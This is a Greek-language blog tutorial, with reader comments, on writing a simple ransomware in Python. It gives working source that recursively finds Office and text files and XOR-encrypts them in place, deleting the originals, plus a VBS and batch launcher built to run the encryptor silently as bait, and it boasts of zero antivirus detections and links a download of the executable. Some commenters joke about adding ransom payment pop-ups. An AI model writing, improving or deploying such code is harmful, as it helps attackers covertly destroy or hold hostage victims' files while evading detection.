Το προφίλ μας στο Google Plus
9

Δημιουργία του δικού μας ransomware

Γενικά, η δημιουργία ενός malware δεν είναι εύκολη υπόθεση. Συχνά μάλιστα απαιτείται η συμμετοχή αρκετών προγραμματιστών, όπου καθένας αναλαμβάνει συγκεκριμένο κομμάτι. Πράγματι, ένα malware αποτελείται από διαφορετικά μέρη και κάθε προγραμματιστής αναλαμβάνει ν’ αναπτύξει εκείνο στο οποίο ειδικεύεται ή, με άλλα λόγια, καλείται ν’ αντιμετωπίσει το πρόβλημα που γνωρίζει καλύτερα.

Στο άρθρο αυτό θα φτιάξουμε ένα malware. Συγκεκριμένα, θα δημιουργήσουμε ένα ransomware, το οποίο θα μιμείται την συμπεριφορά γνωστού προγράμματος που κρυπτογραφεί τα αρχεία του θύματος και μετά ζητά λύτρα για την αποκρυπτογράφηση. Πρόκειται για ένα σχετικά εύκολα υλοποιήσιμο πρόγραμμα, το οποίο όμως είναι δυνατόν να προκαλέσει ιδιαίτερα μεγάλη ζημιά στο θύμα.

Τα διαφορετικά μέρη ενός ransomware
Τα βασικά μέρη από τα οποία πιθανώς απαρτίζεται ένα malware της κατηγορίας, είναι τα ακόλουθα:

  1. Το μέρος της εγκατάστασης στο box του θύματος. Η εγκατάσταση είναι δυνατόν να πραγματοποιηθεί με πολλούς τρόπους. Μπορεί, π.χ., να υπάρχει ένα link σε κάποιο phishing email, όπου ο αναγνώστης του παροτρύνεται να κατεβάσει ένα άλλο, υποτίθεται, πρόγραμμα. Ίσως πάλι το malware να είναι κρυμμένο μέσα σε κάποιο άλλο, αθώο πρόγραμμα (περίπτωση Trojan horse). Ενδέχεται, εξάλλου, να επιχειρείται εκμετάλλευση κάποιας αδυναμίας ενός client-side προγράμματος όπως, π.χ., ένας PDF reader, ένας web browser κ.ο.κ. Φυσικά, δεν πρέπει να αποκλείουμε και τη φυσική πρόσβαση του επιτιθέμενου στο box του θύματος — μάλιστα, μια τέτοια επίθεση έχει μακράν την υψηλότερη πιθανότητα επιτυχίας.
  2. Το μέρος της ενεργοποίησης του malware. Ένα malware δεν είναι απαραίτητο να μολύνει τον υπολογιστή σας τη στιγμή που θα το “τσιμπήσετε”. Πολλά malware διαθέτουν από απλούς έως ιδιαίτερα εξελιγμένους μηχανισμούς ενεργοποίησης , ώστε η μόλυνση να ξεκινά σε συγκεκριμένη ημερομηνία και ώρα. Παράδειγμα τέτοιου malware αποτελεί ο ιός “Friday 13th”, που ενεργοποιούταν την αντίστοιχη μέρα. Μια τυπική μέθοδος για τον καθορισμό του χρόνου ενεργοποίησης είναι με δημιουργία cronjobs (συστήματα Unix) ή εισαγωγή εγγραφών στον Task Scheduler (συστήματα Windows). Παρεμπιπτόντως, αν υποψιάζεστε ότι το σύστημά σας είναι μολυσμένο, αξίζει να ρίξετε πρώτα μια ματιά στο crontab του root ή στον Task Scheduler του Administrator.
  3. Το μέρος της μόλυνσης. Εδώ υλοποιείται ο αλγόριθμος ο οποίος θα επιτελέσει τη ζημιά στο box του θύματος. Πολύ συχνά, η έκταση της ζημιάς είναι ανάλογη των δικαιωμάτων που έχει ο χρήστης υπό το λογαριασμό του οποίου εκτελείται το malware. Το ransomware που θα φτιάξουμε επιδρά μόνο σε αρχεία που δημιουργεί ο χρήστης υπό το λογαριασμό του οποίου ενεργοποιήθηκε.
  4. Το μέρος της ενημέρωσης του χρήστη για τη ζημιά που έχει πάθει. Εδώ παρέχονται και οδηγίες για την καταβολή των λύτρων, προκειμένου να “ξεκλειδώσουν” τα αρχεία του.
  5. Το μέρος της εξαφάνισης των ιχνών του προγράμματος, αφού αυτό επιτελέσει το έργο του (μόνιμη διαγραφή σχετικών αρχείων, logs κ.ο.κ.).

Το malware που κατασκευάζουμε είναι απλό αλλά καταστροφικό και θα θέλαμε να υπογραμμίσουμε εμφατικά ότι η όλη παρουσίαση έχει 100% εκπαιδευτικό χαρακτήρα. Το πώς θα το χρησιμοποιήσετε ή/και διαχειριστείτε είναι δική σας ευθύνη.

To μέρος της εγκατάστασης (1) του δικού μας ransomware θα είναι απλό και θα χρειάζεται τη φυσική σας παρουσία στο box-στόχος. Το μέρος της ενεργοποίησης (2) θα αφορά σε executable που τρέχει χωρίς να γίνεται αντιληπτό από το χρήστη (θα σας πούμε πώς επιτυγχάνεται αυτό), το οποίο φυσικά είναι undetectable από τα προγράμματα antivirus. Στο μέρος της μόλυνσης (3) θα εργαστούμε μαζί. Τα μέρη της ενημέρωσης (4) και της εξαφάνισης των ιχνών (5) δεν θα τα υλοποιήσουμε — τουλάχιστον όχι στο πλαίσιο αυτού του άρθρου.

Εργαλεία που χρησιμοποιήσαμε
To malware έχει αναπτυχθεί στη γλώσσα Python 2.7 και σε περιβάλλον Microsoft Visual Studio 2013 Community Edition, με χρήση δωρεάν επέκτασης για το Visual Studio που επιτρέπει την ανάπτυξη σε Python.

Έγινε επίσης χρήση του εργαλείου PyInstaller 2.1, για τη μετατροπή του προγράμματος σε εκτελέσιμο για Windows. Καταφύγαμε, τέλος, στην αγαπημένη μας σκριπτογλώσσα των Windows, στη Visual Basic Script (VBS), προκειμένου να κάνουμε “σιωπηλή” την εκτέλεση του ransomware κι έτσι το υποψήφιο θύμα να μην υποψιαστεί κάτι.

Η λειτουργία
Το πρόγραμμα δέχεται δύο παραμέτρους: Το όνομα ενός καταλόγου και το password της κρυπτογράφησης. Το ransomware ξεκινά να κρυπτογραφεί όλα τα αρχεία που έχουν προέκταση txt, doc, docx, xls, xlsx, ppt ή pptx και βρίσκονται κάτω από τον κατάλογο που δόθηκε στην πρώτη παράμετρο — βεβαίως και κάτω από κάθε υποκατάλογό του.

Η μέθοδος κρυπτογράφησης που επιλέγουμε υλοποιείται με τη βοήθεια του λογικού XOR. Το XOR ως πράξη επιδρά σε επίπεδο bit και δουλεύει σύμφωνα με τον ακόλουθο πίνακα:

====================
A	B	|	A XOR B
====================
0	0	|	0
0	1	|	1
1	0	|	1
1	1	|	0
====================

Όπως βλέπετε, όταν τα A και B είναι ίδια τότε το A XOR B είναι 0, ενώ όταν τα A και B δεν είναι ίδια τότε το A XOR B είναι 1. Έχοντας κατά νου τον προηγούμενο πίνακα, είναι εύκολο να διαπιστώσουμε ότι αν U XOR P = E, τότε E XOR P = U. Γιατί ονομάσαμε τις μεταβλητές D, P και E; Γιατί, πολύ απλά, έχουμε κατά νου τις λέξεις Unencrypted, Password και Encrypted. Τι προσπαθούμε να πούμε; Μα, πως αν κρυπτογραφήσουμε κατά XOR κάτι που δεν είναι κρυπτογραφημένο (U) με χρήση ενός συνθηματικού (P), τότε αν κρυπτογραφήσουμε για άλλη μια φορά το κρυπτογραφημένο αποτέλεσμα (E) ξανά κατά XOR και πάλι με χρήση του ίδιου συνθηματικού (P), παίρνουμε το αρχικό μη-κρυπτογραφημένο “κάτι” (U). Προφανώς, λοιπόν, αυτό που έχει σημασία εδώ είναι η γνώση του P. Δείτε κι ένα παράδειγμα όπου ξεκινάμε με

U				100010111
P				110110101
==========================
U XOR P			010100010

και συνεχίζουμε με

U XOR P			010100010
P				110110101
==========================
(U XOR P) XOR P	100010111

(το XOR γίνεται μεταξύ bits του ίδιου “επιπέδου”). Το πρόγραμμα που θα φτιάξουμε, την πρώτη φορά που θα εκτελείται θα κρυπτογραφεί και τη δεύτερη φορά που εκτελείται θα αποκρυπτογραφεί (αρκεί και τις δύο φορές να έχει χρησιμοποιηθεί το ίδιο password).

Ανάλυση κώδικα
Όπως αναφέραμε, το πρόγραμμα είναι γραμμένο σε Python 2.7. Πρόκειται για μια γλώσσα αρκετά διαδεδομένη η οποία μάλιστα χρησιμοποιείται και για τη δημιουργία malware. Οι λόγοι είναι αρκετοί κι ένας από τους κοινά αποδεκτούς είναι ότι με τη συγκεκριμένη γλώσσα μπορούμε να κάνουμε αρκετά σύνθετα πράγματα με πολύ λίγο κώδικα.

Γενικά, όταν έχουμε να λύσουμε ένα πρόβλημα προγραμματιστικά, φροντίζουμε να το χωρίζουμε σε επιμέρους υποπροβλήματα, δημιουργώντας ξεχωριστές functions για κάθε υποπρόβλημα. Ένα από αυτά τα επιμέρους προβλήματα για το malware μας, αφορά στον εντοπισμό όλων των αρχείων συγκεκριμένων καταλήξεων κάτω από έναν συγκεκριμένο κατάλογο. Δείτε μια υλοποίηση για την αντίστοιχη function:

#########################################################
# Get all specific file types from a dir and its subdirs.
#
def getAllSubdirs(currentDir):
    allFiles = [] 
    for root, dirs, files in os.walk(currentDir):
        allFiles += glob.glob(root+"\\*.txt")
        allFiles += glob.glob(root+"\\*.doc")
        allFiles += glob.glob(root+"\\*.docx")
        allFiles += glob.glob(root+"\\*.xls")
        allFiles += glob.glob(root+"\\*.xlsx")
        allFiles += glob.glob(root+"\\*.ppt")
        allFiles += glob.glob(root+"\\*.pptx")
    return allFiles

Η function getAllSubdirs δέχεται ως παράμετρο το όνομα ενός καταλόγου. Επιστρέφει, στη λίστα allFiles, όλα τα αρχεία απλού κειμένου και του Office, τα οποία βρίσκονται κάτω από αυτόν τον κατάλογο και τους υποκαταλόγους του. Προφανώς, είναι πολύ εύκολο να τροποποιήσουμε τον κώδικα ώστε να επιστρέφονται αρχεία κι άλλων τύπων.

Το επόμενο πρόβλημα που έχουμε αφορά στην κρυπτογράφηση κατά XOR όλων των αρχείων που επέστρεψε η getAllSubdirs. Δείτε τις ακόλουθες δύο απλές συναρτήσεις:

#########################################################
#
def encrypt(in_file, out_file, password):
    with open(in_file, 'rb') as fileIN:
        with open(out_file, 'wb') as fileOUT:
            for word in fileIN:  
                for ch in word: 
                    encrypted = do_encrypt(ch, password)
                    fileOUT.write(encrypted)
    fileIN.close
    fileOUT.close
    os.remove(in_file)
    os.rename(out_file, in_file)

#########################################################
#
def do_encrypt (s0, s1):
    # xor the strings!
    l = [ chr ( ord (a) ^ ord (b) ) for a,b in zip (s0, s1) ]
    return ''.join (l)

Η συνάρτηση encrypt θα κρυπτογραφήσει το αρχείο (1η παράμετρος) κατά XOR με χρήση του κλειδιού (3η παράμετρος), δημιουργώντας έτσι ένα νέο αρχείο (2η παράμετρος). Συνήθως, το αρχικό αρχείο διαγράφεται και διατηρείται μόνο το δεύτερο, δηλαδή η κρυπτογραφημένη του εκδοχή.

Όπως διαπιστώνετε, η πραγματική κρυπτογράφηση πραγματοποιείται από τη συνάρτηση do_encrypt, εφαρμόζοντας σε έναν προς ένας τους χαρακτήρες το XOR με το κλειδί (password). Στην ουσία, η συνάρτηση encrypt είναι ένας wrapper της συνάρτησης do_enrypt, η οποία πραγματοποιεί την κρυπτογράφηση. Για λόγους απλούστευσης της παρουσίασης, η συνάρτηση της κρυπτογράφησης έχει φτιαχτεί έτσι ώστε να δέχεται κλειδί μήκους 1, δηλαδή έναν χαρακτήρα. Αυτό όμως εύκολα μπορείτε να το αλλάξετε.

Το πώς και με ποια σειρά θα κληθούν οι παραπάνω συναρτήσεις, αφήνουμε ως συνήθως τον main κώδικα του προγράμματός μας να το ορίσει:

# Setup Var/s
tmpFile =  os.environ['tmp'] +'\\opatis'
startPath =  '' 
password = ''

#---------------------------------------------------

if len(sys.argv) == 3:   # Two arguments are needed for the program to function.

    startPath = sys.argv[1]  # Arg 1: start search on this path
    password = sys.argv[2]   # Arg 2: Use this password
    
    allFiles = getAllSubdirs(startPath)
    for file in allFiles:
            encrypt(file, tmpFile, password)

Προσέξτε τον τρόπο που δημιουργούμε και περνάμε το προσωρινό αρχείο στη 2η παράμετρο της encrypt. Το εν λόγω αρχείο ονομάζεται opatis και θα δημιουργηθεί στον κατάλογο %tmp%, ο οποίος είναι ο προσωρινός κατάλογος του χρήστη. Όποια προγράμματα τρέχουν από το λογαριασμό του χρήστη, σχεδόν πάντα έχουν write access στο %tmp%.

Σημείωση. Το αρχείο opatis δεν διαγράφεται στο τέλος της διαδικασίας. Κανονικά, κάτι τέτοιο πρέπει να γίνεται στο μέρος 5 του ransomware (εξαφάνιση ιχνών). Έχετε υπόψη ότι ορισμένα malware δεν έχουν “μέρος 5”, με συνέπεια ν’ αφήνουν ίχνη και οι ειδικοί του forensics να εξάγουν χρήσιμα συμπεράσματα για την ιστορία των επιθέσεων στο υπό μελέτη box.

Σιωπηρή ενεργοποίηση
Όπως υποσχεθήκαμε, θα αναφέρουμε έναν τρόπο ενεργοποίησης του executable χωρίς ν’ ανοίξει κάποιο παράθυρο ή γενικά να γίνει κάτι που θα κάνει το χρήστη να συνειδητοποιήσει ότι, πράγματι, κάτι ενεργοποιήθηκε.

Πιο συγκεκριμένα, αυτό που θα κάνουμε είναι να ενεργοποιήσουμε το ransomware από ένα VB script, το οποίο θα το καλέσει σε επίπεδο κονσόλας χωρίς όμως αυτή να εμφανιστεί. Βέβαια, επειδή έχουμε και τις παραμέτρους που θέλουμε να περνάμε στο ransomware, θα το κάνουμε λίγο πιο σύνθετα: Θα φτιάξουμε πρώτα ένα batch file που θα εκτελεί το ransomware περνώντας του τις κατάλληλες παραμέτρους, και μετά θα δημιουργήσουμε το VB Script file που όταν εκτελείται από το χρήστη καλεί το batch file. Το δόλωμα θα είναι το VBS και σας εγγυόμαστε ότι μόλις δείτε τον κώδικά του όλα θα ξεκαθαρίσουν:

VB Script file: run.hidden.vbs

Set WshShell = CreateObject("WScript.Shell"): WshShell.Run chr(34) & ".\ myRansomware.bat" & Chr(34), 0: Set WshShell = Nothing

Batch file: myRansomware.bat

file.exe c:\work2 !  

Το μόνο που μένει λοιπόν είναι να κάνει ο χρήστης ένα κλικ στο αρχείο run.hidden.vbs και στη συγκεκριμένη περίπτωση δεν θα δει απολύτως τίποτα να συμβαίνει, παρά μόνο να ανάβει το λαμπάκι του σκληρού του δίσκου (αν υπάρχει)! Το παραπάνω, μόλις εκτελεστεί, θα ενεργοποιήσει το κακόβουλο πρόγραμμα για τον κατάλογο c:\work2 με κλειδί το “!” (χωρίς τα εισαγωγικά. Όπως επίσης θα έχετε καταλάβει, έχουμε ονομάσει το ransomware “file.exe”.

Οι δοκιμές μας και τα antivirus
Το πρόγραμμα το δοκιμάσαμε σε Windows 7 Home & Premium edition, ενώ δοκιμάσαμε και διαφόρους τύπους αρχείων. Δείτε τα screenshots που ακολουθούν (και διαβάστε τις αντίστοιχες περιγραφές).

Εικόνα 1. Κρυπτογραφούνται και αποκρυπτογραφούνται όλα τα... code pages ;)

Εικόνα 2. Αρχείο Word μετά την κρυπτογράφηση...

Εικόνα 3. ...και το ίδιο αρχείο Word μετά την αποκρυπτογράφηση.

Ανεβάσαμε εξάλλου το file.exe στο VirusTotal, ώστε να ελεγχθεί από μια πληθώρα από μηχανές antivirus. Αυτό το κάναμε γνωρίζοντας για τις φήμες –όχι αποδείξεις, μόνο φήμες– ότι το συγκεκριμένο site συνεργάζεται με εταιρείες εφαρμογών ασφαλείας και τους παρέχει κώδικα που κατά καιρούς ανεβαίνει στο site. Έτσι, αν κάποιο πρόγραμμα βρίσκεται να έχει, π.χ., 10% positives στο 1ο ανέβασμα, μετά από κάποιες μέρες αυτό το 10% ξαφνικά ίσως έχει γίνει 40% — όλως τυχαίως. Εμείς πάντως έχουμε να πούμε ότι στις 04/06/2015 18.03 UTC που ανεβάσαμε το file.exe, πήραμε detection ratio 0/57!

Εικόνα 4. Hellooo! I'm a bad guy!

Μπορείτε να κατεβάσετε τον πηγαίο κώδικα του μικρού μας ransomware (ransomware.py), μαζί με τα run.hidden.vbs, myRansomware.bat και file.exe, από το http://bit.ly/dh044ransomdl. Προτείνουμε να πειραματιστείτε σε ένα ασφαλές περιβάλλον (π.χ., σε VM) και βεβαίως επισημαίνουμε ότι σε κάθε περίπτωση οφείλετε να φέρεστε υπεύθυνα. Καλή σας διασκέδαση!

9 Responses to “Δημιουργία του δικού μας ransomware”

  1. djmouzz | 09/06/2015 at 20:22

    To όλο project είναι πολύ ενδιαφέρον. Μας λείπει μια βαρβάτη κρυπτογράφηση SHA αντί για XOR κι ένα pop-up με τις BTC addresses που το θύμα θα πρέπει να καταθέσει τα λύτρα κι είμαστε έτοιμοι!

    Προφανώς κάνω πλάκα έτσι :-p

    Μια ερώτηση το decryption στο συγκεκριμένο XOR based εργαλείο πως γίνεται?

  2. Thiseas | 09/06/2015 at 21:38

    Το αρχικό σου σχόλιο (αν και αναφέρεις οτι το λες για πλάκα) είναι απολύτως σωστό! :p
    Όσο για το decryption… μάλλον δεν διάβασες καλά το άρθρο και θα σε μαλώσω! :) :)

  3. djmouzz | 09/06/2015 at 23:03

    XOR στο XOR και γυρίσαμε πίσω στο αρχικό έτσι δεν είναι?

  4. RedHat | 19/06/2015 at 00:07

    Thiseas πολυ ωραιο αρθρο τωρα καταφερα και το ¨μελετησα¨ ομως αφησες ενδιαφερουσα πραγματα απεξω…. ελπιζω σε περισσοτερα αρθρα τετοιου τυπου, τουλαχιστον εμενα μου αρεσουν παρα πολυ.

  5. ultrakiller | 25/06/2015 at 11:22

    το λινκ για το πηγαίο δεν φαίνεται να λειτουργεί :/

  6. panseit | 27/09/2017 at 02:37

    Δυστυχώς το λινκ για τον πηγαίο δεν λειτουργεί πάλι :/

Leave a Reply

You must be logged in to post a comment.

Σύνδεση

Αρχείο δημοσιεύσεων